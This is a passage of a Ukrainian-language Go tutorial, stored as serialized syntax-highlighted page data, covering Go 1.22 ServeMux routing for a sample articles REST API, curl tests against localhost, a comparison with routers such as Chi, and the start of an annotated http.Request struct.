59,"line":6466},[5557,15389,11000],{"class":5654},[5557,15391,5268],{"class":5585},[5557,15393,9126],{"class":5637},[5557,15395,5673],{"class":5585},[5557,15397,8928],{"class":5654},[5557,15399,5268],{"class":5585},[5557,15401,15402],{"class":5654},"StatusCreated",[5557,15404,5623],{"class":5585},[5557,15406,15407,15409,15411,15413,15415,15417,15419,15421,15423,15426],{"class":5559,"line":6471},[5557,15408,6532],{"class":5654},[5557,15410,5268],{"class":5585},[5557,15412,11114],{"class":5637},[5557,15414,5673],{"class":5585},[5557,15416,8909],{"class":5654},[5557,15418,7121],{"class":5585},[5557,15420,11123],{"class":5637},[5557,15422,5673],{"class":5585},[5557,15424,15425],{"class":5654},"newArticle",[5557,15427,5623],{"class":5585},[5557,15429,15430],{"class":5559,"line":6481},[5557,15431,11978],{"class":5585},[5557,15433,15434],{"class":5559,"line":6491},[5557,15435,5575],{"emptyLinePlaceholder":5574},[5557,15437,15438],{"class":5559,"line":6514},[5557,15439,15440],{"class":5647},"    \u002F\u002F 4. Отримання конкретної статті за динамічним параметром {id}\n",[5557,15442,15443,15445,15447,15449,15451,15454,15456,15458,15460,15462,15464,15466,15468,15470,15472,15474,15476,15478,15480],{"class":5559,"line":6519},[5557,15444,12612],{"class":5654},[5557,15446,5268],{"class":5585},[5557,15448,12316],{"class":5637},[5557,15450,5673],{"class":5585},[5557,15452,15453],{"class":5592},"\"GET \u002Fapi\u002Fv1\u002Farticles\u002F{id}\"",[5557,15455,5305],{"class":5585},[5557,15457,5634],{"class":5563},[5557,15459,5673],{"class":5585},[5557,15461,8909],{"class":5654},[5557,15463,8912],{"class":5567},[5557,15465,5268],{"class":5585},[5557,15467,8917],{"class":5567},[5557,15469,5305],{"class":5585},[5557,15471,8922],{"class":5654},[5557,15473,8925],{"class":5585},[5557,15475,8928],{"class":5567},[5557,15477,5268],{"class":5585},[5557,15479,8933],{"class":5567},[5557,15481,5949],{"class":5585},[5557,15483,15484],{"class":5559,"line":6529},[5557,15485,15486],{"class":5647},"        \u002F\u002F Отримання параметра шляху\n",[5557,15488,15489,15492,15494,15496,15498,15500,15502,15504],{"class":5559,"line":6540},[5557,15490,15491],{"class":5654},"        idParam",[5557,15493,5663],{"class":5585},[5557,15495,8922],{"class":5654},[5557,15497,5268],{"class":5585},[5557,15499,13410],{"class":5637},[5557,15501,5673],{"class":5585},[5557,15503,13058],{"class":5592},[5557,15505,5623],{"class":5585},[5557,15507,15508,15510,15512,15514,15516,15518,15520,15522,15524,15527],{"class":5559,"line":6565},[5557,15509,13917],{"class":5654},[5557,15511,5305],{"class":5585},[5557,15513,5660],{"class":5654},[5557,15515,5663],{"class":5585},[5557,15517,13926],{"class":5654},[5557,15519,5268],{"class":5585},[5557,15521,13931],{"class":5637},[5557,15523,5673],{"class":5585},[5557,15525,15526],{"class":5654},"idParam",[5557,15528,5623],{"class":5585},[5557,15530,15531,15533,15535,15537,15539,15541,15543,15546,15548],{"class":5559,"line":6570},[5557,15532,5838],{"class":5581},[5557,15534,5692],{"class":5654},[5557,15536,5695],{"class":5585},[5557,15538,5698],{"class":5563},[5557,15540,6363],{"class":5585},[5557,15542,13207],{"class":5654},[5557,15544,15545],{"class":5585}," \u003C= ",[5557,15547,6195],{"class":6134},[5557,15549,5701],{"class":5585},[5557,15551,15552,15554,15556,15558,15560,15562,15564,15567,15569,15571,15573,15575],{"class":5559,"line":6578},[5557,15553,9262],{"class":5654},[5557,15555,5268],{"class":5585},[5557,15557,9267],{"class":5637},[5557,15559,5673],{"class":5585},[5557,15561,8909],{"class":5654},[5557,15563,5305],{"class":5585},[5557,15565,15566],{"class":5592},"`{\"error\": \"ідентифікатор має бути додатним цілим числом\"}`",[5557,15568,5305],{"class":5585},[5557,15570,8928],{"class":5654},[5557,15572,5268],{"class":5585},[5557,15574,13902],{"class":5654},[5557,15576,5623],{"class":5585},[5557,15578,15579],{"class":5559,"line":6588},[5557,15580,6331],{"class":5581},[5557,15582,15583],{"class":5559,"line":6612},[5557,15584,5884],{"class":5585},[5557,15586,15587],{"class":5559,"line":6617},[5557,15588,5575],{"emptyLinePlaceholder":5574},[5557,15590,15591,15593,15595,15597],{"class":5559,"line":6622},[5557,15592,14935],{"class":5654},[5557,15594,5268],{"class":5585},[5557,15596,14940],{"class":5637},[5557,15598,5752],{"class":5585},[5557,15600,15601,15604,15606,15609,15611,15613,15615,15617,15619,15621],{"class":5559,"line":6627},[5557,15602,15603],{"class":5654},"        article",[5557,15605,5305],{"class":5585},[5557,15607,15608],{"class":5654},"found",[5557,15610,5663],{"class":5585},[5557,15612,14986],{"class":5654},[5557,15614,5268],{"class":5585},[5557,15616,14672],{"class":5654},[5557,15618,6192],{"class":5585},[5557,15620,13207],{"class":5654},[5557,15622,6198],{"class":5585},[5557,15624,15625,15627,15629,15631],{"class":5559,"line":6667},[5557,15626,14935],{"class":5654},[5557,15628,5268],{"class":5585},[5557,15630,14954],{"class":5637},[5557,15632,5752],{"class":5585},[5557,15634,15635],{"class":5559,"line":6673},[5557,15636,5575],{"emptyLinePlaceholder":5574},[5557,15638,15639,15641,15643,15645],{"class":5559,"line":6698},[5557,15640,5838],{"class":5581},[5557,15642,9365],{"class":5585},[5557,15644,15608],{"class":5654},[5557,15646,5701],{"class":5585},[5557,15648,15649,15651,15653,15655,15657,15659,15661,15664,15666,15668,15670,15673],{"class":5559,"line":6713},[5557,15650,9262],{"class":5654},[5557,15652,5268],{"class":5585},[5557,15654,9267],{"class":5637},[5557,15656,5673],{"class":5585},[5557,15658,8909],{"class":5654},[5557,15660,5305],{"class":5585},[5557,15662,15663],{"class":5592},"`{\"error\": \"статтю з таким ідентифікатором не знайдено\"}`",[5557,15665,5305],{"class":5585},[5557,15667,8928],{"class":5654},[5557,15669,5268],{"class":5585},[5557,15671,15672],{"class":5654},"StatusNotFound",[5557,15674,5623],{"class":5585},[5557,15676,15677],{"class":5559,"line":6726},[5557,15678,6331],{"class":5581},[5557,15680,15681],{"class":5559,"line":6739},[5557,15682,5884],{"class":5585},[5557,15684,15685],{"class":5559,"line":6752},[5557,15686,5575],{"emptyLinePlaceholder":5574},[5557,15688,15689,15691,15693,15695,15697,15699,15701,15703,15705,15707],{"class":5559,"line":6762},[5557,15690,11000],{"class":5654},[5557,15692,5268],{"class":5585},[5557,15694,10972],{"class":5637},[5557,15696,11043],{"class":5585},[5557,15698,11046],{"class":5637},[5557,15700,5673],{"class":5585},[5557,15702,11098],{"class":5592},[5557,15704,5305],{"class":5585},[5557,15706,6555],{"class":5592},[5557,15708,5623],{"class":5585},[5557,15710,15711,15713,15715,15717,15719,15721,15723,15725,15727,15730],{"class":5559,"line":6767},[5557,15712,6532],{"class":5654},[5557,15714,5268],{"class":5585},[5557,15716,11114],{"class":5637},[5557,15718,5673],{"class":5585},[5557,15720,8909],{"class":5654},[5557,15722,7121],{"class":5585},[5557,15724,11123],{"class":5637},[5557,15726,5673],{"class":5585},[5557,15728,15729],{"class":5654},"article",[5557,15731,5623],{"class":5585},[5557,15733,15734],{"class":5559,"line":6773},[5557,15735,11978],{"class":5585},[5557,15737,15738],{"class":5559,"line":6814},[5557,15739,5575],{"emptyLinePlaceholder":5574},[5557,15741,15742],{"class":5559,"line":6845},[5557,15743,15744],{"class":5647},"    \u002F\u002F 5. Видалення статті (DELETE)\n",[5557,15746,15747,15749,15751,15753,15755,15758,15760,15762,15764,15766,15768,15770,15772,15774,15776,15778,15780,15782,15784],{"class":5559,"line":6881},[5557,15748,12612],{"class":5654},[5557,15750,5268],{"class":5585},[5557,15752,12316],{"class":5637},[5557,15754,5673],{"class":5585},[5557,15756,15757],{"class":5592},"\"DELETE \u002Fapi\u002Fv1\u002Farticles\u002F{id}\"",[5557,15759,5305],{"class":5585},[5557,15761,5634],{"class":5563},[5557,15763,5673],{"class":5585},[5557,15765,8909],{"class":5654},[5557,15767,8912],{"class":5567},[5557,15769,5268],{"class":5585},[5557,15771,8917],{"class":5567},[5557,15773,5305],{"class":5585},[5557,15775,8922],{"class":5654},[5557,15777,8925],{"class":5585},[5557,15779,8928],{"class":5567},[5557,15781,5268],{"class":5585},[5557,15783,8933],{"class":5567},[5557,15785,5949],{"class":5585},[5557,15787,15788,15790,15792,15794,15796,15798,15800,15802],{"class":5559,"line":6898},[5557,15789,15491],{"class":5654},[5557,15791,5663],{"class":5585},[5557,15793,8922],{"class":5654},[5557,15795,5268],{"class":5585},[5557,15797,13410],{"class":5637},[5557,15799,5673],{"class":5585},[5557,15801,13058],{"class":5592},[5557,15803,5623],{"class":5585},[5557,15805,15806,15808,15810,15812,15814,15816,15818,15820,15822,15824],{"class":5559,"line":6914},[5557,15807,13917],{"class":5654},[5557,15809,5305],{"class":5585},[5557,15811,5660],{"class":5654},[5557,15813,5663],{"class":5585},[5557,15815,13926],{"class":5654},[5557,15817,5268],{"class":5585},[5557,15819,13931],{"class":5637},[5557,15821,5673],{"class":5585},[5557,15823,15526],{"class":5654},[5557,15825,5623],{"class":5585},[5557,15827,15828,15830,15832,15834,15836,15838,15840,15842,15844],{"class":5559,"line":6924},[5557,15829,5838],{"class":5581},[5557,15831,5692],{"class":5654},[5557,15833,5695],{"class":5585},[5557,15835,5698],{"class":5563},[5557,15837,6363],{"class":5585},[5557,15839,13207],{"class":5654},[5557,15841,15545],{"class":5585},[5557,15843,6195],{"class":6134},[5557,15845,5701],{"class":5585},[5557,15847,15848,15850,15852,15854,15856,15858,15860,15863,15865,15867,15869,15871],{"class":5559,"line":6929},[5557,15849,9262],{"class":5654},[5557,15851,5268],{"class":5585},[5557,15853,9267],{"class":5637},[5557,15855,5673],{"class":5585},[5557,15857,8909],{"class":5654},[5557,15859,5305],{"class":5585},[5557,15861,15862],{"class":5592},"`{\"error\": \"некоректний ідентифікатор статті\"}`",[5557,15864,5305],{"class":5585},[5557,15866,8928],{"class":5654},[5557,15868,5268],{"class":5585},[5557,15870,13902],{"class":5654},[5557,15872,5623],{"class":5585},[5557,15874,15875],{"class":5559,"line":6935},[5557,15876,6331],{"class":5581},[5557,15878,15879],{"class":5559,"line":6967},[5557,15880,5884],{"class":5585},[5557,15882,15883],{"class":5559,"line":6980},[5557,15884,5575],{"emptyLinePlaceholder":5574},[5557,15886,15887,15889,15891,15893],{"class":5559,"line":7004},[5557,15888,14935],{"class":5654},[5557,15890,5268],{"class":5585},[5557,15892,15278],{"class":5637},[5557,15894,5752],{"class":5585},[5557,15896,15897,15900,15902,15905,15907,15909,15911,15913,15915,15917],{"class":5559,"line":7009},[5557,15898,15899],{"class":5654},"        _",[5557,15901,5305],{"class":5585},[5557,15903,15904],{"class":5654},"exists",[5557,15906,5663],{"class":5585},[5557,15908,14986],{"class":5654},[5557,15910,5268],{"class":5585},[5557,15912,14672],{"class":5654},[5557,15914,6192],{"class":5585},[5557,15916,13207],{"class":5654},[5557,15918,6198],{"class":5585},[5557,15920,15922,15924,15927],{"class":5559,"line":15921},115,[5557,15923,5838],{"class":5581},[5557,15925,15926],{"class":5654}," exists",[5557,15928,5701],{"class":5585},[5557,15930,15932,15935,15937,15939,15941,15943,15945,15947],{"class":5559,"line":15931},116,[5557,15933,15934],{"class":5637},"            delete",[5557,15936,5673],{"class":5585},[5557,15938,14986],{"class":5654},[5557,15940,5268],{"class":5585},[5557,15942,14672],{"class":5654},[5557,15944,5305],{"class":5585},[5557,15946,13207],{"class":5654},[5557,15948,5623],{"class":5585},[5557,15950,15952],{"class":5559,"line":15951},117,[5557,15953,5884],{"class":5585},[5557,15955,15957,15959,15961,15963],{"class":5559,"line":15956},118,[5557,15958,14935],{"class":5654},[5557,15960,5268],{"class":5585},[5557,15962,15357],{"class":5637},[5557,15964,5752],{"class":5585},[5557,15966,15968],{"class":5559,"line":15967},119,[5557,15969,5575],{"emptyLinePlaceholder":5574},[5557,15971,15973,15975,15977,15979],{"class":5559,"line":15972},120,[5557,15974,5838],{"class":5581},[5557,15976,9365],{"class":5585},[5557,15978,15904],{"class":5654},[5557,15980,5701],{"class":5585},[5557,15982,15984,15986,15988,15990,15992,15994,15996,15999,16001,16003,16005,16007],{"class":5559,"line":15983},121,[5557,15985,9262],{"class":5654},[5557,15987,5268],{"class":5585},[5557,15989,9267],{"class":5637},[5557,15991,5673],{"class":5585},[5557,15993,8909],{"class":5654},[5557,15995,5305],{"class":5585},[5557,15997,15998],{"class":5592},"`{\"error\": \"статтю не знайдено\"}`",[5557,16000,5305],{"class":5585},[5557,16002,8928],{"class":5654},[5557,16004,5268],{"class":5585},[5557,16006,15672],{"class":5654},[5557,16008,5623],{"class":5585},[5557,16010,16012],{"class":5559,"line":16011},122,[5557,16013,6331],{"class":5581},[5557,16015,16017],{"class":5559,"line":16016},123,[5557,16018,5884],{"class":5585},[5557,16020,16022],{"class":5559,"line":16021},124,[5557,16023,5575],{"emptyLinePlaceholder":5574},[5557,16025,16027],{"class":5559,"line":16026},125,[5557,16028,16029],{"class":5647},"        \u002F\u002F 204 No Content сигналізує про успішне видалення без тіла відповіді\n",[5557,16031,16033,16035,16037,16039,16041,16043,16045,16048],{"class":5559,"line":16032},126,[5557,16034,11000],{"class":5654},[5557,16036,5268],{"class":5585},[5557,16038,9126],{"class":5637},[5557,16040,5673],{"class":5585},[5557,16042,8928],{"class":5654},[5557,16044,5268],{"class":5585},[5557,16046,16047],{"class":5654},"StatusNoContent",[5557,16049,5623],{"class":5585},[5557,16051,16053],{"class":5559,"line":16052},127,[5557,16054,11978],{"class":5585},[5557,16056,16058],{"class":5559,"line":16057},128,[5557,16059,5575],{"emptyLinePlaceholder":5574},[5557,16061,16063],{"class":5559,"line":16062},129,[5557,16064,16065],{"class":5647},"    \u002F\u002F 6. Залишковий вайлдкард для роздачі або логування файлів\n",[5557,16067,16069,16071,16073,16075,16077,16080,16082,16084,16086,16088,16090,16092,16094,16096,16098,16100,16102,16104,16106],{"class":5559,"line":16068},130,[5557,16070,12612],{"class":5654},[5557,16072,5268],{"class":5585},[5557,16074,12316],{"class":5637},[5557,16076,5673],{"class":5585},[5557,16078,16079],{"class":5592},"\"GET \u002Fdocs\u002F{filepath...}\"",[5557,16081,5305],{"class":5585},[5557,16083,5634],{"class":5563},[5557,16085,5673],{"class":5585},[5557,16087,8909],{"class":5654},[5557,16089,8912],{"class":5567},[5557,16091,5268],{"class":5585},[5557,16093,8917],{"class":5567},[5557,16095,5305],{"class":5585},[5557,16097,8922],{"class":5654},[5557,16099,8925],{"class":5585},[5557,16101,8928],{"class":5567},[5557,16103,5268],{"class":5585},[5557,16105,8933],{"class":5567},[5557,16107,5949],{"class":5585},[5557,16109,16111,16114,16116,16118,16120,16122,16124,16126],{"class":5559,"line":16110},131,[5557,16112,16113],{"class":5654},"        docPath",[5557,16115,5663],{"class":5585},[5557,16117,8922],{"class":5654},[5557,16119,5268],{"class":5585},[5557,16121,13410],{"class":5637},[5557,16123,5673],{"class":5585},[5557,16125,13529],{"class":5592},[5557,16127,5623],{"class":5585},[5557,16129,16131,16133,16135,16137,16139,16141,16143,16145,16147,16149],{"class":5559,"line":16130},132,[5557,16132,11000],{"class":5654},[5557,16134,5268],{"class":5585},[5557,16136,10972],{"class":5637},[5557,16138,11043],{"class":5585},[5557,16140,11046],{"class":5637},[5557,16142,5673],{"class":5585},[5557,16144,11098],{"class":5592},[5557,16146,5305],{"class":5585},[5557,16148,14854],{"class":5592},[5557,16150,5623],{"class":5585},[5557,16152,16154,16156,16158,16160,16162,16164,16166,16169,16171,16173,16175,16177,16180],{"class":5559,"line":16153},133,[5557,16155,11530],{"class":5654},[5557,16157,5268],{"class":5585},[5557,16159,9146],{"class":5637},[5557,16161,5673],{"class":5585},[5557,16163,8909],{"class":5654},[5557,16165,5305],{"class":5585},[5557,16167,16168],{"class":5592},"\"Запит документації за відносним шляхом: ",[5557,16170,6238],{"class":5654},[5557,16172,6372],{"class":6358},[5557,16174,5723],{"class":5592},[5557,16176,5305],{"class":5585},[5557,16178,16179],{"class":5654},"docPath",[5557,16181,5623],{"class":5585},[5557,16183,16185],{"class":5559,"line":16184},134,[5557,16186,11978],{"class":5585},[5557,16188,16190],{"class":5559,"line":16189},135,[5557,16191,5575],{"emptyLinePlaceholder":5574},[5557,16193,16195,16197,16199,16201,16203,16206],{"class":5559,"line":16194},136,[5557,16196,6226],{"class":5654},[5557,16198,5268],{"class":5585},[5557,16200,5768],{"class":5637},[5557,16202,5673],{"class":5585},[5557,16204,16205],{"class":5592},"\"🚀 REST API сервер запущено на http:\u002F\u002Flocalhost:8080\"",[5557,16207,5623],{"class":5585},[5557,16209,16211,16213,16215,16217,16219,16221,16223,16225,16227,16229,16231,16233,16235,16237,16239],{"class":5559,"line":16210},137,[5557,16212,5689],{"class":5581},[5557,16214,5692],{"class":5654},[5557,16216,5663],{"class":5585},[5557,16218,8928],{"class":5654},[5557,16220,5268],{"class":5585},[5557,16222,12422],{"class":5637},[5557,16224,5673],{"class":5585},[5557,16226,5681],{"class":5592},[5557,16228,5305],{"class":5585},[5557,16230,12726],{"class":5654},[5557,16232,15210],{"class":5585},[5557,16234,5660],{"class":5654},[5557,16236,5695],{"class":5585},[5557,16238,5698],{"class":5563},[5557,16240,5701],{"class":5585},[5557,16242,16244,16246,16248,16250,16252,16255,16257,16259,16261,16263],{"class":5559,"line":16243},138,[5557,16245,5707],{"class":5654},[5557,16247,5268],{"class":5585},[5557,16249,5712],{"class":5637},[5557,16251,5673],{"class":5585},[5557,16253,16254],{"class":5592},"\"Критична помилка сервера: ",[5557,16256,5720],{"class":5654},[5557,16258,5723],{"class":5592},[5557,16260,5305],{"class":5585},[5557,16262,5660],{"class":5654},[5557,16264,5623],{"class":5585},[5557,16266,16268],{"class":5559,"line":16267},139,[5557,16269,5735],{"class":5585},[5557,16271,16273],{"class":5559,"line":16272},140,[5557,16274,5922],{"class":5585},[7759,16276,16278],{"id":16277},"перевірка-роботи-та-діагностика-викликів-через-curl","Перевірка роботи та діагностика викликів через cURL",[5348,16280,16281],{},"Протестуємо поведінку сервера, параметризацію та реакцію на непідтримувані HTTP-методи за допомогою терміналу:",[16283,16284,16286,16300,16308,16311,16315,16319,16322,16326,16329,16339,16347,16355,16359,16363,16366,16370,16373,16383],"terminal-preview",{":cursor":9046,"title":16285},"cURL взаємодія з Go 1.22+ ServeMux",[16287,16288,16290,5302,16295],"div",{"className":16289},[5559],[5557,16291,16294],{"className":16292},[16293],"opacity-40","$",[5205,16296,16299],{"className":16297},[16298],"font-bold","curl -i http:\u002F\u002Flocalhost:8080\u002Fapi\u002Fv1\u002Farticles\u002F1",[16287,16301,16303],{"className":16302},[5559],[5557,16304,16307],{"className":16305},[16306,16298],"text-blue-400","HTTP\u002F1.1 200 OK",[16287,16309,8178],{"className":16310},[5559],[16287,16312,16314],{"className":16313},[5559],"Date: Fri, 02 Oct 2026 10:40:00 GMT",[16287,16316,16318],{"className":16317},[5559],"Content-Length: 72",[16287,16320],{"className":16321},[5559],[16287,16323,16325],{"className":16324},[5559],"{\"id\":1,\"title\":\"Протокол HTTP та архітектура клієнт-сервер\"}",[16287,16327],{"className":16328},[5559],[16287,16330,16332,5302,16335],{"className":16331},[5559],[5557,16333,16294],{"className":16334},[16293],[5205,16336,16338],{"className":16337},[16298],"curl -i -X PATCH http:\u002F\u002Flocalhost:8080\u002Fapi\u002Fv1\u002Farticles\u002F1",[16287,16340,16342],{"className":16341},[5559],[5557,16343,16346],{"className":16344},[16345,16298],"text-rose-400","HTTP\u002F1.1 405 Method Not Allowed",[16287,16348,16350],{"className":16349},[5559],[5557,16351,16354],{"className":16352},[16353,16298],"text-yellow-400","Allow: DELETE, GET",[16287,16356,16358],{"className":16357},[5559],"Content-Type: text\u002Fplain; charset=utf-8",[16287,16360,16362],{"className":16361},[5559],"Content-Length: 19",[16287,16364],{"className":16365},[5559],[16287,16367,16369],{"className":16368},[5559],"Method Not Allowed",[16287,16371],{"className":16372},[5559],[16287,16374,16376,5302,16379],{"className":16375},[5559],[5557,16377,16294],{"className":16378},[16293],[5205,16380,16382],{"className":16381},[16298],"curl -s http:\u002F\u002Flocalhost:8080\u002Fdocs\u002Fguides\u002Fhttp\u002Fcaching.pdf",[16287,16384,16386],{"className":16385},[5559],[5557,16387,16390],{"className":16388},[16389],"text-green-400","Запит документації за відносним шляхом: guides\u002Fhttp\u002Fcaching.pdf",[5348,16392,16393,16394,16397,16398,16400,16401,16403],{},"Зверніть особливу увагу на другий запит у терміналі: ми спробували надіслати запит методом ",[5236,16395,16396],{},"PATCH",". Сервер повернув статус ",[5236,16399,13299],{}," та заголовок ",[5236,16402,16354],{}," автоматично, не виконавши жодного рядка нашого хендлера! Це демонструє суворе дотримання стандарту HTTP\u002F1.1 з боку ядра Go без залучення стороннього коду.",[8040,16405,16406,16423,16429],{},[5348,16407,16408,16411,16412,16415,16416,16418,16419,16422],{},[5205,16409,16410],{},"Чи потрібні тепер сторонні роутери (Chi, Gorilla, Gin)?","\nЗавдяки оновленню Go 1.22 для приблизно ",[5205,16413,16414],{},"80% проєктів"," стандартного пакета ",[5236,16417,5238],{}," стає абсолютно достатньо. Це дозволяє дотримуватися філософії ",[5228,16420,16421],{},"Zero External Dependencies"," (мінімізація сторонніх залежностей, швидша компіляція, менший розмір Docker-образів та відсутність вразливостей ланцюга поставок).",[5348,16424,16425,16426,16428],{},"Проте сторонні маршрутизатори, зокрема ",[5205,16427,13243],{},", все ще широко використовуються у масштабних enterprise-системах з таких причин:",[5198,16430,16431,16446,16455],{},[5201,16432,16433,5302,16436,16438,16439,16442,16443,16445],{},[5205,16434,16435],{},"Вкладені конвеєри мідлварів:",[5236,16437,13243],{}," дозволяє призначати локальні мідлвари на окремі суб-роутери через конструкцію ",[5236,16440,16441],{},"r.Route(\"\u002Fadmin\", func(r chi.Router) { r.Use(AuthMiddleware); ... })",". У стандартному ",[5236,16444,5250],{}," такого вбудованого механізму групування мідлварів немає.",[5201,16447,16448,16451,16452,5268],{},[5205,16449,16450],{},"Вбудована типізація та RegExp:"," Можливість задавати обмеження на рівні рядка шаблону на кшталт ",[5236,16453,16454],{},"\u002Fusers\u002F{id:[0-9]+}",[5201,16456,16457,16460],{},[5205,16458,16459],{},"Екосистема плагінів:"," Автоматична генерація специфікацій OpenAPI\u002FSwagger із дерева зареєстрованих маршрутів.",[16462,16463,16464,16508,16528],"accordion",{},[16465,16466,16469,16481],"accordion-item",{"icon":16467,"label":16468},"i-lucide-help-circle","❓ Як Go 1.22 вирішує колізію між \u002Fusers\u002F{id} та \u002Fusers\u002Fme?",[5348,16470,16471,16472,16474,16475,16477,16478,5268],{},"Go застосовує правило ",[5205,16473,13645],{},": статичний літерал шляху (",[5236,16476,13667],{},") вважається точнішим та вужчим, ніж загальний динамічний шаблон параметра ",[5236,16479,16480],{},"{id}",[5348,16482,16483,16484,16487,16488,13180,16491,16494,16495,16497,16498,16501,16502,5376,16505,5268],{},"Тому запит ",[5236,16485,16486],{},"GET \u002Fusers\u002Fme"," завжди буде спрямовано на спеціалізований обробник поточного користувача. Натомість запити на кшталт ",[5236,16489,16490],{},"GET \u002Fusers\u002F42",[5236,16492,16493],{},"GET \u002Fusers\u002Falex"," будуть перехоплені параметризованим маршрутом ",[5236,16496,13636],{},", де ",[5236,16499,16500],{},"r.PathValue(\"id\")"," поверне ",[5236,16503,16504],{},"\"42\"",[5236,16506,16507],{},"\"alex\"",[16465,16509,16511,16512,16515,16516,16518,16519,5302,16522,16524,16525,16527],{"icon":16467,"label":16510},"❓ Що повертає r.PathValue(), якщо передати неіснуюче ім'я параметра?","Якщо ви викличете ",[5236,16513,16514],{},"r.PathValue(\"unknown\")"," для параметра, якого немає у шаблоні маршруту (або якщо запит взагалі не проходив через ",[5236,16517,5250],{},"), метод поверне ",[5205,16520,16521],{},"порожній рядок",[5236,16523,9520],{},". Він ніколи не викидає паніку і не повертає покажчик ",[5236,16526,5698],{},", що робить його безпечним для читання.",[16465,16529,16531,16538],{"icon":16467,"label":16530},"❓ Чому Go не додав підтримку регулярних виразів у синтаксис шаблонів (наприклад, {id:[0-9]+})?",[5348,16532,16533,16534,16537],{},"Команда інженерів Go свідомо обрала простий та швидкий алгоритм зіставлення на базі префіксного дерева замість використання рушія регулярних виразів (",[5236,16535,16536],{},"regexp","). Регулярні вирази мають відчутний вплив на продуктивність процесора та виділення оперативної пам'яті під час кожного запиту.",[5348,16539,16540,16541,16544],{},"Ідіоматичний підхід Go полягає в тому, що роутер лише доставляє текстовий сегмент у хендлер, а валідація бізнес-правил (перевірка чи є ID числом через ",[5236,16542,16543],{},"strconv.Atoi",", валідація UUID тощо) має виконуватися явно всередині самого обробника або спільних валідаторів.",[5340,16546],{},[5343,16548,16550,16551,16553],{"id":16549},"глибокий-розбір-nethttp-всі-рухомі-частинки","Глибокий розбір ",[5236,16552,5238],{},": всі рухомі частинки",[5348,16555,16556,16557,16559],{},"Тепер розглянемо детально всі ключові типи, інтерфейси та функції пакета ",[5236,16558,5238],{}," у стилі технічної документації.",[7167,16561,16563,16564,16567],{"id":16562},"структура-httprequest-повна-анатомія-запиту","Структура ",[5236,16565,16566],{},"http.Request",": повна анатомія запиту",[5348,16569,16563,16570,16572],{},[5236,16571,13346],{}," містить всю інформацію про вхідний HTTP-запит. Розглянемо кожне поле детально.",[5464,16574,16576],{"className":5550,"code":16575,"language":5553,"meta":5472,"style":5472},"type Request struct {\n    \u002F\u002F HTTP-метод (GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS)\n    Method string\n\n    \u002F\u002F URL запиту (розібраний URI)\n    URL *url.URL\n\n    \u002F\u002F Версія протоколу: \"HTTP\u002F1.1\", \"HTTP\u002F2.0\"\n    Proto      string \u002F\u002F \"HTTP\u002F1.1\"\n    ProtoMajor int    \u002F\u002F 1\n    ProtoMinor int    \u002F\u002F 1\n\n    \u002F\u002F Заголовки запиту\n    Header Header\n\n    \u002F\u002F Тіло запиту (потік, який потрібно закрити)\n    Body io.ReadCloser\n\n    \u002F\u002F Розмір тіла запиту (-1 якщо невідомо)\n    ContentLength int64\n\n    \u002F\u002F Список Transfer-Encoding (наприклад, [\"chunked\"])\n    TransferEncoding []string\n\n    \u002F\u002F Закривати з'єднання після відповіді\n    Close bool\n\n    \u002F\u002F Хост із заголовка Host або URL\n    Host string\n\n    \u002F\u002F Розібрані дані форми (після виклику ParseForm)\n    Form url.Values\n\n    \u002F\u002F Розібрані дані multipart форми (після ParseMultipartForm)\n    PostForm url.Values\n    MultipartForm *multipart.Form\n\n    \u002F\u002F Інформація про TLS з'єднання (nil для HTTP)\n    TLS *tls.ConnectionState\n\n    \u002F\u002F Адреса віддаленого клієнта \"192.168.1.100:54321\"\n    RemoteAddr string\n\n    \u002F\u002F Шлях до локального файлу (при ServeFile)\n    RequestURI string\n\n    \u002F\u002F Контекст запиту (для таймаутів та скасування)\n    ctx context.Context\n}\n",[5236,16577,16578,16589,16594,16602,16606,16611,16626,16630,16635,16646,16656,16665,16669,16674,16682,16686,16691,16704,16708,16713,16721,16725,16730,16740,16744,16749,16757,16761,16766,16773,16777,16782,16795,16799,16804,16815,16830,16834,16839,16854,16858,16863,16870,16874,16879,16886,16890,16895,16908],{"__ignoreMap":5472},[5557,16579,16580,16582,16585,16587],{"class":5559,"line":5560},[5557,16581,11991],{"class":5563},[5557,16583,16584],{"class":5567}," Request",[5557,16586,11997],{"class":5563},[5557,16588,5701],{"class":5585},[5557,16590,16591],{"class":5559,"line":5571},[5557,16592,16593],{"class":5647},"    \u002F\u002F HTTP-метод (GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS)\n",[5557,16595,16596,16599],{"class":5559,"line":5578},[5557,16597,16598],{"class":5654},"    Method",[5557,16600,16601],{"class":5567}," string\n",[5557,16603,16604],{"class":5559,"line":5589},[5557,16605,5575],{"emptyLinePlaceholder":5574},[5557,16607,16608],{"class":5559,"line":5596},[5557,16609,16610],{"class":5647},"    \u002F\u002F URL запиту (розібраний URI)\n",[5557,16612,16613,16616,16618,16621,16623],{"class":5559,"line":5602},[5557,16614,16615],{"class":5654},"    URL",[5557,16617,8925],{"class":5585},[5557,16619,16620],{"class":5567},"url",[5557,16622,5268],{"class":5585},[5557,16624,16625],{"class":5567},"URL\n",[5557,16627,16628],{"class":5559,"line":5608},[5557,16629,5575],{"emptyLinePlaceholder":5574},[5557,16631,16632],{"class":5559,"line":5614},[5557,16633,16634],{"class":5647},"    \u002F\u002F Версія протоколу: \"HTTP\u002F1.1\", \"HTTP\u002F2.0\"\n",[5557,16636,16637,16640,16643],{"class":5559,"line":5620},[5557,16638,16639],{"class":5654},"    Proto",[5557,16641,16642],{"class":5567},"      string",[5557,16644,16645],{"class":5647}," \u002F\u002F \"HTTP\u002F1.1\"\n",[5557,16647,16648,16651,16653],{"class":5559,"line":5626},[5557,16649,16650],{"class":5654},"    ProtoMajor",[5557,16652,6650],{"class":5567},[5557,16654,16655],{"class":5647},"    \u002F\u002F 1\n",[5557,16657,16658,16661,16663],{"class":5559,"line":5631},[5557,16659,16660],{"class":5654},"    ProtoMinor",[5557,16662,6650],{"class":5567},[5557,16664,16655],{"class":5647},[5557,16666,16667],{"class":5559,"line":5644},[5557,16668,5575],{"emptyLinePlaceholder":5574},[5557,16670,16671],{"class":5559,"line":5651},[5557,16672,16673],{"class":5647},"    \u002F\u002F Заголовки запиту\n",[5557,16675,16676,16679],{"class":5559,"line":5686},[5557,16677,16678],{"class":5654},"    Header",[5557,16680,16681],{"class":5567}," Header\n",[5557,16683,16684],{"class":5559,"line":5704},[5557,16685,5575],{"emptyLinePlaceholder":5574},[5557,16687,16688],{"class":5559,"line":5732},[5557,16689,16690],{"class":5647},"    \u002F\u002F Тіло запиту (потік, який потрібно 